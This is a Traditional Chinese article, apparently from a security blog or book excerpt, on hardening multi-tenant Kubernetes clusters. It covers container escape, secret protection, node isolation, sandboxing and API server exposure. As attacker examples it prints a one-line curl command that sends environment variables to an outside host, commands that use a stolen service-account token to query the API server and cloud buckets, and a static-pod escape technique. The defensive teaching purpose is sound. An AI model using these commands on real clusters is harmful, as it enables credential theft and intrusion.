在雲原生環境中,容器安全已成為許多組織的首要考量。特別是在Kubernetes這樣的容器協調平台上,確保租戶間的安全隔離變得尤為重要。這篇文章將探討如何防止容器逃逸攻擊,保護敏感資料,以及實作真正的硬多租戶隔離。

容器逃逸攻擊與防護策略

雖然容器安全系統能夠防止大多數攻擊,但值得注意的是,原生Kubernetes仍存在一些安全漏洞。以kube-pod-escape為例,這個攻擊利用了可寫入的hostPath掛載點(如/var/log)來逃逸到宿主機。一旦攻擊者獲得對宿主機的寫入許可權,就可以透過在/etc/kubernetes/manifests/寫入惡意清單,讓kubelet建立受攻擊者控制的新Pod。

在我多年研究容器安全的過程中,發現這類別攻擊模式特別危險,因為一旦攻擊者能夠跳出容器限制,整個叢集的安全邊界就會被打破。對此,我建議實施以下防護措施:

  1. 使用准入控制策略完全禁止主機掛載,或強制實施唯讀掛載路徑
  2. 佈署容器執行時安全解決方案,如gVisor或kata-containers
  3. 實施Pod安全策略(PSP)或Pod Security Standards來限制特權操作

敏感資訊保護與外洩防範

除了容器逃逸,另一個常見的安全問題是Pod中敏感資訊的保護。Kubernetes會將各種形式的身分驗證注入到Pod中,包括SSH和GPG金鑰、Kerberos和Vault令牌、臨時憑證等。這些敏感資訊通常以檔案系統掛載或環境變數的形式暴露。

環境變數特別值得關注,因為它們會被繼承,並對同一使用者擁有的其他程式可見。攻擊者可以輕易地使用env命令轉儲這些變數,並透過簡單的命令將其外洩:

# 危險的資料外洩方式
curl -d "$(env)" https://hookb.in/swag

這段程式碼展示了攻擊者如何輕易地將環境變數中的敏感資訊外洩。env命令會列出所有環境變數,其中可能包含API金鑰、存取令牌等敏感資訊。攻擊者只需一行簡單的curl命令就能將這些資料傳送到外部控制的伺服器。這種攻擊特別危險,因為它不需要任何特殊許可權,只要能夠執行基本命令就可以完成。

掛載的檔案雖然相對難以讀取,但仍可能被外洩。這種情況在單一非特權使用者必須讀取所有自己的Secrets的場景中尤為明顯,但在Pod中的容器分享掛載卷時更為重要。

對於這類別威脅,我推薦以下防護策略:

  1. 實施最小許可權原則,限制Pod只能存取必要的敏感資訊
  2. 使用動態生成的短期憑證,而非長期存在的靜態憑證
  3. 考慮使用HashiCorp Vault等外部金鑰管理系統,實作更細粒度的存取控制
  4. 為敏感資料實施加密保護,包括靜態加密和傳輸中加密

資料保護策略與工作負載身份

資料是數位業務最寶貴的資產,也是攻擊者覬覦的主要目標。為了防止憑證被盜用後的資料存取,我們應該採用強化的建置和佈署模式。

工作負載身份與雲端存取限制

假設系統中的一切都可能被入侵,使用工作負載身份來限定Pod對雲端整合的範圍,並為專用服務帳號分配有限的雲端存取許可權,可以大幅增加攻擊者的難度。

在我設計的安全架構中,通常會實施以下模式:

  1. 為每個微服務分配獨立的服務帳號,並限制其許可權範圍
  2. 使用雲端提供商的工作負載身份功能(如AWS IAM Roles for Service Accounts或GCP Workload Identity)
  3. 實施臨時憑證機制,避免長期存在的存取金鑰
  4. 定期輪換所有憑證,並實施自動化監控以檢測異常存取模式

資料加密與存取控制

在靜態狀態下加密資料(包括etcd中和Pod使用環境中)可以有效保護資料免受攻擊者侵害。特別是那些導向網路與掛載有價值資料的Pod,它們是影響最大的攻擊目標。

我建議實施多層加密策略:

  1. 使用Kubernetes的加密靜態資料功能保護etcd中的敏感資訊
  2. 為持久化卷實施透明資料加密
  3. 在應用層實施端對端加密,確保資料在整個生命週期中都受到保護
  4. 使用金鑰管理系統(KMS)進行金鑰的安全儲存和管理

硬多租戶模型與安全隔離

安全地分享Kubernetes叢集是一個複雜的挑戰。預設情況下,Kubernetes並非設定為支援多租戶,需要額外的工作來確保其安全性。這裡的"安全"意味著叢集應該在隔離的租戶之間公平分配,租戶之間不應該能夠看到彼此,也不應該能夠破壞其他人的分享資源。

多租戶模型的威脅分析

Kubernetes多租戶工作組考慮了兩類別多租戶模型:

  1. 軟多租戶:更容易使用與允許更大的設定自由度
  2. 硬多租戶:旨在"預設安全",預先設定安全設定與不可變

軟多租戶是一種友好、更寬鬆的安全模型。它假設租戶是部分受信任的,並且以叢集的最佳利益為出發點,允許租戶設定其名稱空間的部分內容。

硬多租戶則是完全鎖定的,假設租戶是敵對的。多重控制減少了攻擊者的機會:工作負載隔離、准入控制、網路策略、安全監控和入侵檢測系統(IDS)都在平台中設定,租戶只能執行受限的操作集。這種限制性設定的代價是租戶的可用性降低。

在我的安全實踐中,通常建議為生產環境採用硬多租戶模型,以強化所有可能的防禦。特別是在處理敏感資料或面對嚴格合規要求的場景中,這種模型尤為重要。

名稱空間資源與隔離

在探討硬多租戶和軟多租戶之前,讓我們先了解如何分離資源:名稱空間和節點。

值得注意的是,網路並不遵循名稱空間的概念:我們可以應用策略來塑造它,但從根本上講,它是一個扁平的子網。

Kubernetes RBAC資源的可見性要麼作用於名稱空間範圍(如Pod或服務帳號),要麼作用於整個叢集(如節點或永續性儲存區)。

將單個租戶分散到多個名稱空間可以減少憑證被盜用或受損的影響,並增加系統抵抗入侵的能力,但代價是增加了一些維運複雜性。團隊應該能夠自動化他們的工作,這將產生一個安全與能快速修補的系統。

名稱空間限制與挑戰

在Kubernetes RBAC模型中,名稱空間是叢集範圍的,因此受到粗粒度叢集級RBAC的影響:如果租戶名稱空間中的使用者有權檢視自己的名稱空間,他們也可以檢視叢集上的所有其他名稱空間。

API伺服器可以告訴你哪些資源不受名稱空間限制:

$ kubectl api-resources --namespaced=false
NAME          SHORTNAMES ... NAMESPACED KIND
componentstatuses cs       false ComponentStatus
namespaces    ns           false Namespace
nodes         no           false Node
persistentvolumes pv       false PersistentVolume
...

這個命令列出了所有不受名稱空間限制的Kubernetes資源。這些資源在整個叢集中是全域的,而非隸屬於特定名稱空間。從安全形度看,這意味著如果攻擊者獲得了對這些資源的存取權,他們可能影響整個叢集而非單一名稱空間。特別值得注意的是:

  • namespaces:名稱空間本身是叢集範圍的資源
  • nodes:節點資訊對所有名稱空間可見
  • persistentvolumes:永續性儲存區是全域資源,可能包含敏感資料

Kubernetes的分享DNS模型也暴露了其他名稱空間和服務,這是硬多租戶難度的一個例子。CoreDNS的防火牆外掛可以設定為"防止某些名稱空間中的Pod查詢其他名稱空間中的服務"。IP和DNS地址對攻擊者來說非常有用,他們可以利用這些訊息勘察環境,尋找下一個攻擊目標。

節點池與安全考量

一個名稱空間中的Pod可以跨越多個節點。如果攻擊者能夠從容器逃逸到底層節點,他們可能夠在名稱空間之間跳躍,甚至可能跨越節點。

在設計節點池時,我通常建議以下安全措施:

  1. 根據安全需求和工作負載特性劃分節點池
  2. 為敏感工作負載使用專用節點池,並實施嚴格的汙點和容忍度
  3. 使用節點親和性確保特定工作負載只在特定節點上執行
  4. 實施節點級別的安全控制,如seccomp、AppArmor或SELinux設定

強化多租戶環境的最佳實踐

根據我在多個企業環境中的實踐經驗,以下是強化Kubernetes多租戶環境的一些最佳實踐:

網路策略與DNS隔離

實施嚴格的網路策略,限制Pod之間的通訊。預設拒絕所有流量,只允許明確定義的必要通訊路徑。使用CoreDNS的防火牆外掛限制跨名稱空間的DNS查詢,防止租戶探測其他租戶的服務。

資源配額與限制

為每個名稱空間設定資源配額和限制,防止單一租戶消耗過多資源導致服務中斷。這不僅是一個公平性問題,也是一個安全問題,因為資源耗盡可能導致拒絕服務。

准入控制器與策略執行

佈署准入控制器(如OPA Gatekeeper或Kyverno)來執行安全策略。這些策略可以防止特權容器的建立、限制容器映像檔來源、強制實施資源限制等。

監控與威脅檢測

實施全面的監控和威脅檢測系統,能夠識別異常行為和潛在的安全事件。使用Falco等工具監控容器執行時行為,並設定警示以檢測可疑活動。

定期安全稽核與更新

定期進行安全稽核,識別並修復潛在的安全漏洞。保持Kubernetes和所有元件的最新版本,確保已知的安全漏洞得到修補。

多租戶Kubernetes環境的安全是一個持續演進的領域。透過實施這些最佳實踐,組織可以顯著提高其Kubernetes環境的安全性,同時仍然支援多租戶場景的靈活性和效率。

在實際佈署中,安全性和易用性之間總是存在權衡。硬多租戶提供了最高階別的安全性,但增加了維運複雜性和降低了靈活性。每個組織需要根據其特定的安全需求、合規要求和營運模式來決定適合的多租戶模型。

對於處理敏感資料或受到嚴格監管的行業,硬多租戶通常是必要的選擇。而對於內部開發環境或低敏感度工作負載,軟多租戶可能提供更好的平衡。關鍵是理解各種安全控制的作用及其侷限性,並根據具體需求實施適當的安全策略。

在Kubernetes的海洋中航行時,保持警惕並不斷強化防禦是確保安全的唯一方式。透過深入理解容器逃逸防護、資料保護策略和多租戶隔離技術,我們可以建立一個更安全的Kubernetes環境,有效抵禦各種威脅。

Kubernetes 多租戶架構與安全隔離機制

節點池與工作負載隔離

在 Kubernetes 中,雖然名稱空間(Namespace)通常跨越多個節點,但單個 Pod 例項永遠只會在一個節點上執行。這種架構為我們提供了實施工作負載隔離的基礎。

節點池(Node Pools)是具有相同設定的節點群組,可以獨立於其他節點池進行擴充套件。這種機制可用於將相同風險等級或分類別的工作負載保持在同一組節點上。例如:

  • 導向網路的應用應與內部 API 和中介軟體工作負載分離
  • 控制平面應該位於專用節點池上

這種隔離策略的主要安全優勢在於:若發生容器逃逸(container breakout)攻擊,攻擊者只能存取這些特定節點上的資源,無法輕易觸及更敏感的工作負載或機密資訊,與節點池之間的橫向移動並非簡單的許可權提升路徑。

節點選擇與標籤分配

可以透過標籤和節點選擇器將工作負載分配到特定節點池:

# 檢視節點及其標籤
user@host:~ [0]$ kubectl get nodes --show-labels
NAME         STATUS    ROLES     AGE     VERSION   LABELS
kube-node-1  Ready     master    11m     v1.22.1   beta.kubernetes.io/arch=amd64,...
kube-node-2  Ready     <none>    11m     v1.22.1   beta.kubernetes.io/arch=amd64,...
kube-node-3  Ready     <none>    11m     v1.22.1   beta.kubernetes.io/arch=amd64,...

# 為節點增加標籤
user@host:~ [0]$ kubectl label nodes kube-node-2 \
  node-restriction.kubernetes.io/nodeclass=web-facing

佈署範例與節點選擇器

下面是一個使用節點選擇器的佈署範例:

apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: high-risk-workload
spec:
  replicas: 1
  template:
    spec:
      containers:
      - image: nginx/
        # ...
      nodeSelector:
        node-restriction.kubernetes.io/nodeclass: web-facing

這個佈署設定中,nodeSelector 欄位指定了工作負載應該排程到帶有特定標籤的節點上。在這個例子中,佈署將只會被排程到帶有 node-restriction.kubernetes.io/nodeclass: web-facing 標籤的節點上。這確保了高風險工作負載只會在指定的節點池中執行,從而實作了工作負載隔離。

警告:本文後續部分會討論如何防止惡意 kubelet 透過 NodeRestriction 准入外掛重新標記自身。

名稱空間級別的節點選擇限制

PodNodeSelector 准入控制器可以限制名稱空間中的 Pod 可以使用哪些節點選擇器,防止惡意租戶排程到其他租戶受限制的節點上:

apiVersion: v1
kind: Namespace
metadata:
  annotations:
    scheduler.alpha.kubernetes.io/node-selector: node-restriction.kubernetes.io/nodeclass=web-facing
  name: my-web-facing-ns

對於嚴格的多租戶系統,這些值應由准入控制器根據工作負載的屬性設定,例如:

  • 標籤
  • 佈署來源
  • 映像名稱

在高風險或導向網路的節點上,可能只允許佈署帶有完整摘要的白名單映像。

節點汙點與排程隔離

在 Kubernetes 中,名稱空間預設分享叢集中的所有節點。可以使用汙點(Taint)來防止排程器將 Pod 放置在特定節點上:

$ kubectl taint nodes kube-node-2 key1=value1:NoSchedule

這種機制之所以有效,是因為自託管控制平面使用 kubelet 的 staticPodPath(預設為 /etc/kubernetes/manifests)中的檔案系統託管靜態 Pod 清單執行,這些靜態 Pod 會忽略這些汙點。

透過高階排程器提示,可以防止 Pod 在同一節點上共同排程,從而將它們隔離在自己的計算硬體上。然而,這種隔離對大多數使用案例來說成本過高,因為它會減少每個工作負載可用的節點數量,導致計算資源利用率不足。

軟多租戶 vs 硬多租戶

軟多租戶模型

軟多租戶模型主要用於防止因許可權過高的租戶而導致的意外問題。這種模型更容易構建和執行,因為它的威脅模型不考慮具有明確攻擊意圖的威脅行為者。

軟多租戶通常採用"每名稱空間一個租戶"的模型。在整個叢集中,假設租戶通常會考慮叢集或管理員的最佳利益。然而,惡意租戶可能會突破這種型別的叢集隔離。

租戶的例子包括團隊中的不同專案,或公司中的不同團隊,這些透過 RBAC 角色和繫結強制執行,並按名稱空間分組。名稱空間中的資源是有限的,因此租戶無法耗盡叢集資源。

名稱空間是構建叢集安全邊界的工具,但它們不是強制執行點。它們範圍包含許多安全和策略功能:

  • 准入控制 webhook
  • RBAC 和存取控制
  • 網路策略
  • 資源配額和 LimitRanges
  • Pod 安全策略
  • Pod 反親和性
  • 專用節點與汙點和容忍度

在寬鬆的軟多租戶模型下,名稱空間隔離技術可能不會被嚴格執行,允許租戶檢視彼此的 DNS 記錄,如果缺少網路策略,可能還允許它們之間的網路由。應監控 DNS 列舉和惡意網域名稱請求。對於攻擊者來說,靜默掃描網路可能是逃避檢測的更有效方式,儘管 CNI 和 IDS 工具應該能夠檢測到這種異常行為。

即使是軟多租戶佈署,也強烈建議使用網路策略。Kubernetes 節點之間的 kubelet 需要扁平的網路空間,kubelet 的 CNI 外掛負責在 OSI 第 2 層(ARP)、第 3/4 層(IP 地址和 TCP/UDP 連線埠)和第 7 層(應用層和 TLS/x509)強制租戶名稱空間分離。

硬多租戶模型

在硬多租戶模型中,叢集租戶彼此不信任,名稱空間設定預設是安全的。CI/CD 管道和准入控制中的安全護欄強制執行策略。這種級別的分離是敏感和私有工作負載所需要的,跨行業和國家部門、公共計算服務以及監管和合規要求。

硬多租戶強調更嚴格的隔離措施和安全控制,以確保即使面對具有明確攻擊意圖的惡意租戶,系統也能保持安全。這包括更嚴格的網路策略、資源隔離和存取控制。

安全最佳實踐

  1. 使用節點池隔離不同風險級別的工作負載:將導向網路的應用與內部服務分開

  2. 實施 PodNodeSelector 准入控制:限制哪些名稱空間可以使用哪些節點選擇器

  3. 應用節點汙點:防止不受信任的工作負載排程到敏感節點

  4. 實施網路策略:即使在軟多租戶環境中也應強制執行網路隔離

  5. 使用准入控制器:防止分享主機名稱空間等廣泛的攻擊途徑

  6. 監控異常網路行為:注意 DNS 列舉和惡意網域名稱請求

  7. 加密節點間流量:使用支援加密的 CNI 外掛保護傳輸中的資料

  8. 根據威脅模型選擇適當的多租戶模型:軟多租戶適用於信任度較高的環境,硬多租戶適用於敏感環境

在設計 Kubernetes 多租戶架構時,需要在可用性、資源利用率和安全隔離之間取得平衡。Kubernetes 的首要任務是保持 Pod 執行,這種以可用性為中心的風格優先考慮利用率而非安全隔離。實作更高階別的安全隔離通常需要為每個隔離的工作負載分類別提供專用節點,這會增加成本但提供更強的安全保障。

多租戶 Kubernetes:安全設計與威脅防禦

在設計多租戶 Kubernetes 環境時,安全性是首要考量因素。過去幾年我參與了多個企業級 Kubernetes 佈署專案,發現許多團隊低估了多租戶環境中的安全風險。本文將分享如何構建堅固的多租戶 Kubernetes 環境,以及如何防範各類別安全威脅。

敵對式租戶威脅模型

在強硬多租戶系統中,將所有工作負載視為具有敵意的攻擊者是一種有效的威脅建模方法。這種思維方式有助於我們探索更多潛在攻擊路徑,從而設計出更均衡的叢集安全控制機制。

這種威脅模型的優勢在於能夠涵蓋未知的潛在事件,例如:

  • RBAC 子系統中的漏洞 CVE-2019-11247,該漏洞導致非叢集範圍角色洩露對叢集範圍資源的存取許可權
  • CVE-2018-1002105 和 CVE-2019-1002100,這些漏洞允許 API 伺服器遭受拒絕服務攻擊
  • CVE-2018-1002105,一種可部分利用的 API 認證繞過漏洞

值得注意的是,2019 年,所有 Kubernetes API 伺服器都面臨嚴重風險。Rory McCune 發現 v1.13.7 易受 Billion Laughs YAML 反序列化攻擊的影響,而 Brad Geesaman 則透過 sig-honk 將其武器化。對於具有 API 伺服器可見性的惡意租戶來說,這種漏洞極易被利用。

准入控制器:深度防禦策略

准入控制器在身份驗證和授權之後由 API 伺服器執行,負責驗證入站 API 伺服器請求,並進行「深度載荷檢查」。這一額外步驟比傳統的 RESTful API 架構更強大,因為它能夠根據特定政策檢查請求的內容,從而捕捉到錯誤設定和惡意 YAML。

在我設計的多個 Kubernetes 環境中,准入控制器成為防禦惡意工作負載的最後一道防線,能夠有效攔截許多常見的惡意設定。

沙箱技術與安全隔離

強硬多租戶系統可以使用先進的沙箱技術來隔離 Pod,提供不同於 runc 容器的隔離方式,增強對零日攻擊的抵抗能力。

先進的沙箱技術

gVisor、Firecracker 和 Kata Containers 等沙箱技術巧妙地結合了 KVM 與名稱空間和 LSM (Linux Security Modules),進一步將工作負載與高風險介面和信任邊界(如核心)隔離開來。

這些沙箱技術的設計目的是抵抗系統呼叫、檔案系統和網路子系統中的漏洞。雖然它們也曾出現過 CVE 漏洞,但這些專案維護良好與修復迅速。它們的威脅模型記錄完善,架構理論上也很穩固。但每一層安全抽象都會帶來系統複雜性、工作負載除錯難度以及檔案系統和網路效能方面的成本。

在實際佈署中,我發現沙箱化 Pod 或名稱空間的決策需要權衡所需的額外資源。例如,評估潛在的加密勒索軟體風險時,需要將其可能造成的損失與沙箱技術對未知核心和驅動程式漏洞的保護能力進行比較。

需要注意的是,沒有任何沙箱是無法逃脫的。沙箱化權衡的是在沙箱和底層 Linux 核心中同時發現可利用漏洞的可能性。這是一種合理的方法,類別似於瀏覽器沙箱:Chromium 使用與容器相同的名稱空間、cgroups 和 seccomp。Chromium 突破已在 Pwn2Own 和天府杯等比賽中多次被證實,但漏洞利用的風險視窗通常只有幾天(粗略估計)與發生頻率約為每 2-5 年一次。

政策引擎與准入控制

強硬多租戶系統應該實施像 OPA (Open Policy Agent) 這樣的工具,用於複雜與可擴充套件的准入控制。OPA 使用 Rego 語言定義政策,而與像任何程式碼一樣,政策也可能包含錯誤。除非設定不當,否則安全工具很少會「開放失敗」。

政策風險包括寬鬆的正規表示式以及准入控制器政策中物件或值的鬆散比較。許多 YAML 屬性,如映像名稱、標籤和中繼資料都是容易出現比較錯誤的字串值。與所有靜態分析一樣,政策引擎的健壯性取決於您的設定。

程式碼範例:OPA 政策限制特權容器

以下是一個 OPA 政策範例,用於禁止特權容器在生產環境中執行:

package kubernetes.admission

deny[msg] {
    input.request.kind.kind == "Pod"
    input.request.operation == "CREATE"
    namespace := input.request.namespace
    namespace == "production"
    container := input.request.object.spec.containers[_]
    container.securityContext.privileged == true
    
    msg := sprintf("特權容器 '%v' 不允許在生產環境中執行", [container.name])
}

這段 OPA 政策使用 Rego 語言編寫,目的是防止在生產環境中佈署特權容器。政策的運作方式是:

  1. 首先檢查傳入的請求是否為建立 Pod 的操作
  2. 確認請求的名稱空間是否為 “production”
  3. 遍歷 Pod 規格中的所有容器
  4. 檢查每個容器的安全上下文是否設定了 privileged=true
  5. 如果發現特權容器,則生成拒絕訊息並阻止佈署

這種政策在多租戶環境中特別重要,因為特權容器可以繞過大多數容器安全機制,增加容器逃逸的風險。

工作負載監控與入侵檢測

多租戶環境還涉及監控工作負載的潛在敵對行為。支援入侵檢測和可觀測性服務有時需要潛在危險的 eBPF 許可權,而 eBPF 的核心內執行一直是容器突破的來源之一。自 Linux 5.8 起引入的 CAP_BPF 能力將減少 eBPF 系統中錯誤的影響,並減少對「過載的 CAP_SYS_ADMIN 能力」的使用。

儘管以提升許可權執行入侵檢測和可觀測性工具存在執行時風險,但實時瞭解叢集風險要比不知道這些風險更為安全。在我管理的生產環境中,我們總是選擇佈署適當的監控工具,因為可見性對安全性至關重要。

公有雲多租戶服務的安全設計

公有雲多租戶的信任模型

像 Google Cloud Run 這樣的公有強硬多租戶服務不信任其工作負載。它們自然假設租戶及其活動是惡意的,並構建控制措施將它們限制在容器、Pod 和名稱空間內。其威脅模型考慮到攻擊者將嘗試每一種已知攻擊,試圖突破限制。

私人執行的強硬多租戶先驅包括 https://contained.af—一個連線到由核心原語和 LSM 保護的容器的網頁終端。冒險者被邀請在技巧允許的情況下嘗試突破容器。到目前為止,還沒有成功的逃脫案例,這證明瞭該網站主持人 Jess Frazelle 在 Docker 的 runc 執行時所做的貢獻。

雖然犯罪分子可能有動機使用或出售容器逃逸零日漏洞,但大多數容器逃逸的前提是缺少 LSM 和能力控制。設定為安全最佳實踐的容器(由准入控制強制執行)啟用了這些控制,並且容器逃逸的風險很低。

CTF 或分享計算平台,如 https://ctf.af 應該被視為已被入侵,並期望許可權提升,因此應定期「重建」(從頭開始重建,不保留任何基礎設施)。這使得攻擊者的永續性攻擊變得困難,因為他們必須定期重新使用相同的入口點,增加被檢測的可能性。

控制平面安全性威脅

攻擊者希望在您的 Pod 中執行程式碼,以探索系統的其餘部分。從 Pod 中竊取服務帳戶身份驗證資訊(位於 /var/run/secrets/kubernetes.io/serviceaccount/token)使攻擊者能夠偽造 Pod 的身份與 API 伺服器和任何雲整合進行通訊。

Pod 和機器身份憑證對攻擊者的價值

Pod 和機器身份憑證對攻擊者來說就像寶藏。只需要服務帳戶令牌(一個 JWT)就能與 API 伺服器通訊,因為伺服器證書驗證可以透過 –insecure 停用,雖然這不推薦合法使用。

以下是攻擊者可能使用的命令範例:

# 使用服務帳戶令牌直接存取 API 伺服器
user@pod:~ [0]$ curl https://kubernetes.default/api/v1/namespaces/default/pods/ \
--header "Authorization: Bearer ${TOKEN}" --insecure

# 使用 kubectl 和服務帳戶令牌
user@pod:~ [0]$ kubectl --token="$(<${DIR}/token)" \
--certificate-authority="${DIR}/ca.crt" get pods

# 使用 kubectl 但跳過 TLS 驗證(不安全)
user@pod:~ [0]$ kubectl --token="$(<${DIR}/token)" \
--insecure-skip-tls-verify get pods

# 如果工作負載身份可以存取雲資源的 CRD
user@pod:~ [0]$ kubectl --token="$(<${DIR}/token)" -k \
get buckets ack-test-smoke-s3 -o yaml

上面的範例展示了攻擊者如何利用從 Pod 中竊取的服務帳戶令牌:

  1. 第一個命令直接使用 curl 和服務帳戶令牌存取 API 伺服器,取得 default 名稱空間中的 Pod 列表
  2. 第二個命令使用 kubectl 和服務帳戶令牌,同時使用正確的證書驗證
  3. 第三個命令使用不安全模式跳過 TLS 驗證,這在實際環境中是非常危險的
  4. 最後一個命令展示瞭如果服務帳戶有許可權,攻擊者甚至可以存取雲資源,如 S3 儲存桶

這些範例強調了保護服務帳戶令牌的重要性,以及實施最小許可權原則的必要性。

API 伺服器資訊洩露風險

存取 API 伺服器還可能透過其 SAN (Subject Alternative Name) 洩露資訊,揭示內部和外部 IP 地址、DNS 記錄指向的任何其他域,以及來自 kubernetes.default.svc.cluster.local 的標準內部域(輸出已編輯):

user@pod:~ [0]$ openssl s_client -connect kubernetes.default:443 \
< /dev/null 2>/dev/null | openssl x509 -noout -text | grep -E "DNS:|IP Address:"

DNS:kube-node-1, DNS:kubernetes, DNS:kubernetes.default,
DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local,
IP Address:10.96.0.1, IP Address:10.0.1.1, IP Address:167.99.95.202

這個命令使用 OpenSSL 連線到 Kubernetes API 伺服器,並檢查其 TLS 證書中的 SAN 欄位。從輸出中,攻擊者可以取得:

  1. 叢集內部 DNS 名稱,包括節點名稱 (kube-node-1) 和服務名稱
  2. 內部 IP 地址 (10.96.0.1, 10.0.1.1),揭示了網路架構
  3. 外部 IP 地址 (167.99.95.202),可能是 API 伺服器的公開端點

這些資訊對攻擊者來說非常有價值,可用於進一步的橫向移動或目標識別。在安全敏感的環境中,應考慮限制這些資訊的可見性。

匿名身份驗證風險

除了 API 伺服器的 Kubernetes 資源級別 RBAC 之外,叢集中還有許多身份驗證端點,每個端點都允許攻擊者使用竊取的憑證嘗試許可權提升。

特別需要注意的是,預設情況下,未經身份驗證的使用者被放入 system:anonymous 組,能夠讀取 API 伺服器的 /version 端點,並使用任何意外繫結到該組的角色。如果可能,應該為您的使用場景停用匿名身份驗證:

root@pod:/ [60]# curl -k https://kubernetes.default:443/version
{
  "major": "1",
  "minor": "22",
  "gitVersion": "v1.22.0",
  ...
}

這個範例展示了即使沒有任何身份驗證,攻擊者也可以取得 Kubernetes 版本訊息。這看似無害,但實際上可能幫助攻擊者:

  1. 確認 Kubernetes 版本,從而識別可能存在的已知漏洞
  2. 驗證 API 伺服器的可存取性,確認連線路徑
  3. 如果 system:anonymous 組被意外授予了額外許可權,攻擊者可能獲得更多存取許可權

在生產環境中,建議透過設定 API 伺服器引數 --anonymous-auth=false 來停用匿名存取,除非您的應用程式架構特別需要它。